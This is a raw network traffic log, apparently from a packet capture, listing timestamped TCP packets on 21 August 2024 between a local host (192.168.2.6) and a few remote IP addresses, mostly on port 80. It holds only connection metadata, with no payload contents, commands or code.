Aug 21, 2024 08:32:13.941273928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.941304922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.941977024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.941993952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.942003965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.942039013 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.942065954 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.942086935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.942099094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.942125082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.942141056 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.942925930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.942974091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.942987919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.942997932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.943022013 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.943043947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.943073034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.943084955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.943114042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.943126917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.945388079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.945434093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025121927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025135994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025146961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025177002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025186062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025194883 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025202990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025213003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025229931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025259972 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025341034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025357962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025368929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025377035 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025378942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025389910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025399923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025402069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025412083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025435925 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025448084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025454998 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025460958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025470972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025481939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025484085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025492907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.025497913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025516987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.025542974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026130915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026140928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026151896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026170015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026185036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026190042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026226044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026230097 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026237011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026247025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026269913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026293993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026349068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026357889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026387930 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026715040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026732922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026737928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026756048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026777029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026839972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026850939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026860952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026873112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026879072 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026911020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026935101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026947021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.026972055 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.026994944 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.027328014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.027374983 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.027375937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.027380943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.027425051 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.027452946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.027462959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.027491093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.033457994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033505917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033515930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033516884 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.033560038 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.033560991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.033567905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033580065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033590078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033600092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033624887 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.033624887 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.033660889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.033703089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033714056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033725023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.033751965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.033811092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.034460068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.034471035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.034509897 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.034548044 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.065587997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.065599918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.065608978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.065649986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.065696955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.109682083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109699011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109710932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109720945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109731913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109740973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.109744072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109757900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109762907 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.109800100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.109822989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109833956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109849930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109857082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.109858036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.109884024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110097885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110141993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110147953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110158920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110186100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110202074 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110203028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110214949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110239029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110253096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110375881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110410929 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110454082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110465050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110492945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110502958 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110506058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110517025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110528946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110549927 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110558033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110589027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110832930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110878944 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110904932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110917091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.110953093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110964060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.110995054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111005068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111015081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111026049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111042976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111068010 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111222029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111232996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111268997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111283064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111293077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111294031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111304045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111314058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111324072 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111330032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111334085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111341000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111366987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111387968 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111661911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111685991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111696959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111707926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111718893 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111736059 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111819983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111830950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111841917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111855030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111866951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111893892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.111974001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.111984968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112000942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112010956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112011909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112023115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112031937 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112061024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112118006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112128019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112138987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112154007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112193108 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112612963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112658024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112659931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112672091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112703085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112714052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112754107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112767935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112778902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112791061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112797022 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112818003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112838030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112922907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112934113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112943888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112953901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.112972975 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.112993002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.113147974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.113158941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.113169909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.113179922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.113192081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.113223076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.123833895 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.123887062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.123897076 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.123912096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.123940945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.123972893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.124001980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.124052048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.124053001 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.124095917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.124108076 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.124136925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.124172926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.124202013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.124243975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.125322104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125333071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125344038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125379086 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.125410080 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.125452042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125504971 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.125725031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125782967 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.125796080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125808001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125818968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.125842094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.125870943 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.126579046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.126622915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.126627922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.126627922 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.126660109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.126667023 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.126724005 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.150232077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.150260925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.150270939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.150286913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.150306940 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.150315046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.150331974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.150343895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.150368929 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.150383949 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.157032013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.157103062 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.157296896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.162039042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.185945988 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.186064959 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.194288969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194314003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194319963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194386005 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194392920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194405079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194416046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194420099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194427967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194463015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194510937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194521904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194531918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194541931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194552898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194559097 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194565058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194574118 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194608927 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194664955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194705009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194722891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194735050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194763899 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194775105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194819927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194832087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194843054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194856882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194860935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194876909 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194904089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194947958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194958925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194968939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194979906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.194984913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.194998980 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195027113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195173025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195204973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195218086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195247889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195261002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195322037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195333958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195343971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195373058 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195400000 CEST	49722	80	192.168.2.6	162.241.203.25
